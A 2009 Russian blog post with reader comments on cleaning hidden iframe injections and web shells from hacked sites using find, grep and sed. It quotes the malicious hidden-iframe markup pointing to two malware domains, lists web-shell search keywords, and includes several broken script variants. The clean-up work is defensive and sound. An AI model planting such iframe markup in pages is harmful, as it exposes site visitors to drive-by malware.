Ищем и чистим сайты от инклудов iframe
Как писал не так давно, подцепил заразу трояна win32/Kryptik. CH и червя Win32/Pinit, которая наследила на паре FTP, давив скрытый iframe.
Рассмотрим несколько вариантов быстрого и полного избавления от этой заразы. Конечно же нам пригодятся знания ssh и наличие клиента для этого протокола. Под виндой подойдёт PuTTY, под Mac OS со всем справляется обычная консоль.
Так большинство вредоносного кода пытаются вставить iframe на вашу страницу, то поищем все странички на сервере, содержащие эту подстроку.
Ок, для этого подключаемся клиентом к нашему серверу (виртуальному серверу-хостингу) по протоколу SSH. Переходим в корневой web каталог, в котором находятся интересующие файлы и запускаем поиск:
find $PWD -name '*.*' -exec grep -l "iframe" {} \;
Вкратце: организовываем поиск (find) всех файлов (*.*) в текущем каталоге ($PWD), в каждом файле ищем (grep) нужную подстроку ("iframe"), в случае успеха, в вывод отдаём только имя файла (-l).
Если вдруг мусора много, записываем список файлов в файл:
find $PWD -name '*.*' -exec grep -l "iframe" {} \; > vir.txt
Далее анализируем полученные файлы, находя в них вредоносные строки. Самый примитивный способ — пройтись по списку файлов и удалить ручками вставки iframe.
Но мы пойдём другим путём.
Автоматизация или откиньтесь на спинку стула
Рассмотрим на моём примере. Нам уже не обойтись без скрипта на баше. Сразу приведу конечный вариант:
#!/bin/sh
find $PWD -name '*.html' -exec grep -l "gfdsgf333" {} \; > vir-html.txtwhile read line
do
sed 's/<div style="visibility:hidden"><iframe src="http:\/\/gfdsgf333.com\/in.cgi?27" width=100 height=80<>\/iframe<>\/div>//g' <$line >tmp
mv tmp $line
done < vir-html.txtfind $PWD -name '*.php' -exec grep -l "gfdsgf333" {} \; > vir-php.txt
while read line
do
sed s/<?php echo <div style="visibility:hidden"><iframe src="http:\/\/gfdsgf333.com\/in.cgi?27" width=100 height=80><\/iframe><\/div>; ?>//g <$line >tmp
mv tmp $line
done < vir-php.txt
Как видите логика проста. По имени домена вычисляем все файлы с его вставкой, а далее просто удаляем поточным редактором найденные ранее подстроки.
Ну и на последок, точка контроля:
find $PWD -type f -exec grep -l "iframe"; {} \; > vir-other.txt
Смотрим файл vir-other.txt, там должно быть чисто или только добрые файлы (вроде jQuery. js и похожих).
Хорошие сайты:
- Интервью с известными людьми.
- Новости фантастики и фэнтези.
- Медицинский портал: медицина и здоровье.
Доброго времени!
Очень часто вместе с iframe добовляют скрипты удаленного shell администрирования,как совет рекомендую:
find . -print0 | xargs -0 grep word
где word это например shell,c99shell,ddevil,hack.
При анализе полученного вывода команды можно почерпнуть много интересного)))
чего быть совсем не должно)
ЗЫ Спасибо за полезную статью.
- ответить
Опубликовано Дмитрий (не проверено) в Сб, 14/02/2009 - 11:40.Спасибо за дополнение, shell будет поопасней ифрейма.
- ответить
Опубликовано GogA в Пнд, 16/02/2009 - 12:40."Переходим в коренной web каталог"
Саш, коренными бывают зубы, каталог — корневой :))
- ответить
Опубликовано Ромка (не проверено) в Пт, 20/02/2009 - 00:17.Спасибо, поправил :)
- ответить
Опубликовано GogA в Втр, 24/02/2009 - 03:58.Поправил на «корненной», а надо на «корневой» :)
- ответить
Опубликовано Вернон Коди (не проверено) в Пнд, 23/03/2009 - 17:03.а у меня в админке системные файлы перед отображением страницы проверяются на соответствие размера размеру файла из резервной копии.. если не соответствует, то копия файла из дампа заменяет потенциально опасный файл. таким образом вирус удаляется сам собой по мере того, как человек ходит по сайту...
- ответить
Опубликовано Евген (не проверено) в Ср, 25/02/2009 - 14:24.А что за админка-хостинг? :)
Очень хорошая опция!
- ответить
Опубликовано GogA в Ср, 04/03/2009 - 04:40.Скрипт не отрабатывается,пишет:
8: Syntax error: "done" unexpected (expecting "do")
Не подскажете как быть(?
#!/bin/sh
find . -name '*.html' -exec grep -l "517891" {} \; > vir-html.txt
while read line
do
sed 's/tmp
mv tmp $line
done < vir-html.txt
find . -name '*.php' -exec grep -l "517891" {} \; > vir-php.txt
while read line
do
sed ’s/tmp
mv tmp $line
done < vir-php.txt
- ответить
Опубликовано kritic (не проверено) в Вс, 08/03/2009 - 12:30.Еще можно вот так,принцип тот же,но нет разделения на php и html(в некоторых случаях пришлось бы еще дописывать и для htm и т д).
#!/bin/sh
find . -print0 | xargs -0 grep -l 517891 > vir-list.txt
while read line
do
sed 's/:tmp
mv tmp $line
done < vir-list.txt
Ищет все файлы в системе просматривая их код,после этого грепает по заданному критерию,после этого с помощью поточного редактора очищает.
- ответить
Опубликовано Дмитрий (не проверено) в Вс, 08/03/2009 - 13:32.Я просто поставил права только на чтение у файлов на хостинге и все.. А вообще нужно комп от вирусов избавлять...
- ответить
Опубликовано Гость (не проверено) в Втр, 10/03/2009 - 15:20.Не комп от вирусов, а скрипты от дыр :)
- ответить
Опубликовано N_MONax (не проверено) в Пнд, 23/03/2009 - 04:50.Привет, у меня похожая проблема, пишу так
#!/bin/sh
find . -name '*.html' -exec grep -l "gfdsgf333" {} \; > vir-list.txt
while read line
do
sed 's/<iframe src="http://homenameregistration.cn/in.cgi?income12" width=1 height=1 style="visibility: hidden"></iframe>//g' <$line >tmp
mv tmp $line
done < vir-list.txt
в итоге все что подверглось обработке имеет размер 0 и получаю error
$ ./ffff.sh
sed: 1: "s/$lt;iframe src="http://h ...": bad flag in substitute command: 'h'
также ифрейм как php вставка в примере <?php echo <\/iframe><\/div>; ?> вообще не обрабатывается
может есть мысли по этому поводу ?
- ответить
Опубликовано vvito5 (не проверено) в Чт, 19/03/2009 - 16:41.Лучше всего забарикадировать свой рабочий компьютер, у меня и антивирус и фаервол, давненько заразы никакой небыло :-D
- ответить
Опубликовано Executor (не проверено) в Пнд, 23/03/2009 - 13:18.Это у вас тут новая фича? при заходе на эту страницу в Опере 88/89 эллементов и постоянно выскакивает (NOD32) -
25.03.2009 4:38:32 Фильтр HTTP файл http://freewebhostguide.com/cache/readme.pdf PDF/Exploit.Pidief.OBO троянская программа соединение прервано - изолирован Обнаружена угроза при попытке доступа в Интернет следующим приложением: C:\Program Files\Opera\opera.exe
при это у меня открыт ТОЛЬКО этот блог
- ответить
Опубликовано barabashko (не проверено) в Ср, 25/03/2009 - 05:42.Один из комментаторов как-то вставил ифрейм в код комментария, сейчас пофиксю.
- ответить
Опубликовано GogA в Ср, 25/03/2009 - 14:33.Привет. Варианты очистки HTML "на лету".
1. Где-нибудь в разделе инициализации движка, ДО обращения к любой функции вывода
$tidy_ok = extension_loaded('tidy');
if ($tidy_ok == 1) ob_start();
2. По окончании рендеринга страницы, ПОСЛЕ любой функции вывода
if ($tidy_ok == 1) {
$tidy_cfg = array(
'markup' => true,
'force-output' => 1,
'logical-emphasis' => 1,
'lower-literals' => 1,
'indent' => 0,
'char-encoding' => 'raw',
'input-encoding' => 'raw',
'output-encoding' => 'raw',
'wrap' => 0,
'output-html' => 1,
'fix-uri' => 1,
'hide-comments' => 1,
'quote-ampersand' => 1,
'tidy-mark' => 0);
$tidy = new tidy;
$tidy->parseString(ob_get_clean(), $tidy_cfg, 'raw');
$out = tidy_get_output($tidy));
............
очистка HTML функцией preg_replace() или другим способом
............
echo $out;
Маска (регулярное выражение) в preg_replace() вырезает нежелательные теги, либо к переменной $out применяется самодельный парсер, "расставляющий запятые" в "казнить нельзя помиловать".
Довеском в примере задействован парсер HTML Tidy, но можно обойтись без него:
ob_start();
.............
.............
$out = ob_get_contents();
ob_end_clean(); //сбрасываем буфер дабы не было баден-баден
...чистим переменную $out функцией preg_replace()
echo $out;
Недостатки: контент (html или выведенный в режиме интерпретации php) после tidy_get_output/ob_get_contents обработан не будет.
- ответить
Опубликовано GPS (не проверено) в Сб, 11/04/2009 - 15:28.Закончил чистку кучи сайтов . некоторые дополнения
1.Во время атаки адреса сайтов в ифрейме в разных файлах менялись - так что чисто на автомате удалить не получилось.
2. В друпалных сайтах кое где еще в файлы тем после тега body вставляли не ифрейм какойто жабоскрипт ( снес к чертям не разбираясь)
так что чистил вручную - зараженые файлы искал по другой дате изменения
Судя по тому, что после захода на сайты вылавливал анитвирус ( AVG +Cure IT ,bitdefender и NOD ничего не видели) - задачей атаки было создание ботнета
ПС До нескольких заброшеных сплогов руки дошли не сразу.Так что позлорадствовал , сколько идиотов "продвигающих через камменты" получили вирь в наказание ;)
- ответить
Опубликовано Бомж беглый (не проверено) в Вс, 03/05/2009 - 09:30.Смотреть по дате изменения файлы - тоже хороший вариант найти заразу.
В конце очистки не забудь проверсти контроль качества.
Слова можно использовать для поиска:
iframe,shell,c99shell,ddevil,">eval(".
Все выданные файлики можно посмотреть ручками, так как некоторые элементы (например iframe) могут и в мирных целях использоваться.
- ответить
Опубликовано GogA в Вс, 03/05/2009 - 19:48.Пожалуйста, подскажите... У меня на сайте вирус (подсказали добрые люди), только я не могу его никак найти... Пересмотрела все страницы, бестолку... Ругается только Аваст, д-р Веб, касперский - молчат.. Как мне быть? Пожлста помогите...
- ответить
Опубликовано natasya (не проверено) в Сб, 27/06/2009 - 19:37.а можно дополнить команду и добавить в нее замену определенной строчки в файле - на другую строчку
вроде должно быть не сложно, но я что-то ничего не могу найти по этому вопросу
подскажите
- ответить
Опубликовано Гость (не проверено) в Чт, 24/12/2009 - 17:26.Sed и Awk
http://opennet.ru/docs/RUS/bash_scripting_guide/a14586.html
- ответить
Опубликовано GogA в Пт, 25/12/2009 - 03:47.получилось:) спасибо за ссылку
поменял строчку на эту
sed 's/comment=0/comment=1/g' <$line >tmp
comment=0 - что меняем
comment=1 - на что меняем
- ответить
Опубликовано Гость (не проверено) в Сб, 26/12/2009 - 12:58.Отправить комментарий